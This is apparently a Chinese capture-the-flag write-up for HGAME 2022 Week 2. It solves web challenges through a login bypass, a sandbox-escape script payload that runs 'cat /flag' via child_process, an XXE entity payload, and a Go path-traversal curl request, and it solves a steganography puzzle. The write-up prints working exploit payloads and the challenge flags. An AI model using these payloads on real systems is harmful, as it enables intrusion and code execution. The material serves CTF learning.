

HGAME 2022 Week2 writeup by sleeper

HGAME 2022 Week2 writeup by sleeper

web

Markdown Online

Comment

FileSystem

misc

摆烂

web

Markdown Online

本题有两个环节,绕过登录与代码注入。

首先是绕过登录

审计代码,可以发现代码段套了个 try 语句,分析后不难想到由于传入参数为 json,在密码处传入长度为 16 的数组,由于数组没有 toUpperCase 方法,触发报错就绕过了密码不正确的 return 语句。

```
1 function LoginController(req, res) {
2   if (req.body.username === "admin" && req.body.password.length === 16) {
3     try {
4       req.body.password = req.body.password.toUpperCase()
5       if (req.body.password !== '54gkj7n8uo55vbo2') {
6         return res.status(403).json({msg: 'invalid username or
password'})
7       }
8     } catch (__) {}
9     req.session['unique_id'] = randString.generate(16)
10    res.json({msg: 'ok'})
11  } else {
12    res.status(403).json({msg: 'login failed'})
13  }
14 }
```

第二处是 markdown 语句的渲染,直接用 `<script>` 标签执行下代码即可。

payload

```
1 <script>eval("pro = thif.conftructor.conftructor('return thif.procesf')
);".toUpperCase().toLowerCase());var
c=pro.mainModule.require('child_procesf'.toUpperCase().toLowerCase()).execSyn
c('cat
/flag').toString();document.head.innerHTML='';document.body.innerHTML=c;
</script>
```

Comment

xml 标签的知识点

```
1 <!DOCTYPE root [  
2     <!ELEMENT name ANY>  
3     <!ENTITY admi "admi"><!ENTITY n "n">  
4     <!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4">  
5 ]>  
6 <comment>  
7     <sender>&admi;&n;</sender>  
8     <content>&xxe;</content>  
9 </comment>
```

FileSystem

go <= 1.14 的漏洞, 参考博客

[golang 的一些安全问题 - 简书 \(jianshu.com\)](http://jianshu.com/p/8c82f5c371)

利用命令:

```
1 curl --path-as-is -X CONNECT  
  "http://xxx.filesystem.hgame.homeboy.cn/./there_may_be_a_flag"
```

```
$ curl --path-as-is -X CONNECT http://8c82f5c371.filesystem.hgame.homeboy.cn/./there_may_be_a_flag  
hgame{37d91d33bdfd869a7cdd9f7d40b6ed6c6bb6debab52f95e5cabf98e8f324ea30}
```

misc

摆烂

打开压缩包给了四张压缩的图片, 需要密码。foremost 分离出压缩包和一张图片。图片拖进 010 editor 分析, 根据块类型判断该图为 apng 格式, 用网上的工具分离得到两张一样的图片, 发现其中一张有很多横向的噪点, 尝试解盲水印



肉眼看出密码, 解出四张图片。

手动拼合成一张二维码, 扫码得到一串文字。

解码结果

在这种困难的抉择下，本人思来想去，寝食难安。既然如此，亚伯拉罕·林肯在不经意间这样说过，你活了多少岁不算什么，重要的是你是如何度过这些岁月的。这启发
了我，CTF好难，到底应该如何实现。总结的来说，我们都知道，只要有意义，...

生成二维码

复制

丢进 vscode 发现有隐藏的 unicode 字符，尝试零宽隐写

在这种困难的抉择下，本人思来想去，寝食难安。既然如此，亚伯拉罕·林肯在不经意间这样说过，你活了多少岁不算什么，重要的是你是如何度过这些岁月的。这启发
了我，CTF好难，到底应该如何实现。总结的来说，我们都知道，只要有意义，那么就必须慎重考虑。我认为，每个人都不得不面对这些问题。在面对这种问题时，CTF好难，到底应该如何实现。

Unicode Steganography with Zero-Width Characters

This is plain text steganography with zero-width characters of Unicode.
Zero-width characters is inserted within the words.

JavaScript library is below.

http://330k.github.io/misc_tools/unicode_steganography.js

Text in Text Steganography Sample

Original Text: (length: 0)

Hidden Text: (length: 28)

hgame[i_#4nT_T0_p1Ay_r0Tten}

Encode »

« Decode

Steganography Text: (length: 395)

在这种困难的抉择下，本人思来想去，寝食难安。既然如此，亚伯拉罕·林肯在不经意间这样说过，你活了多少岁不算什么，重要的是你是如何度过这些岁月的。这启发
了我，CTF好难，到底应该如何实现。总结的来说，我们都知道，只要有意义，那么就必须慎重考虑。我认为，每个人都不得不面对这些问题。在面对这种问题时，CTF好难，到底应该如何实现。

Download Stego Text as File

拿到 flag。